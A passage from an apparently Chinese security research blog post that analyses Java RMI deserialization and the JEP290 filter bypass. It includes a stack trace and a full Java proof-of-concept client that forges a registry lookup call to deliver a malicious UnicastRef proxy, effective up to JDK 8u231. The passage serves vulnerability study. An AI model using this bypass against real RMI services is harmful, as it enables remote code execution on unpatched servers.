dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1520005291 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

此外,并非只有bind才能Bypass JEP290,仿写的lookup同样可以,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package JEP;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;
import java.io.ObjectOutput;
import java.lang.reflect.Field;

public class Client2 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost",2333);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("localhost", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, true));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);

//模仿lookup请求
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxy);
ref2.invoke(var2);
}
}

bind只能Server端使用,lookup攻击面更广

流程图

画了一个REJECTED和一个Bypass的流程图,对比加深理解

image-20210603035012596

image-20210603035414348

JDK-8u231修复

JDK-8u231在dirty函数添加了Filter的限制,故不能使用UnicastRef绕过

UnicastServerRef Bypass JEP290

漏洞范围:<= JDK-8u231

国外安全研究员找到了一条新的方法去Bypass JEP290

详见Hu3sky学长分析 RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析

参考

RMI组成与原理

分布式架构基础:Java RMI详解

Java RMI学习总结

针对RMI服务的九重攻击

Java 回显综述

JAVA RMI 反序列化攻击 & JEP290 Bypass分析

深入RMI工作原理

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析

评论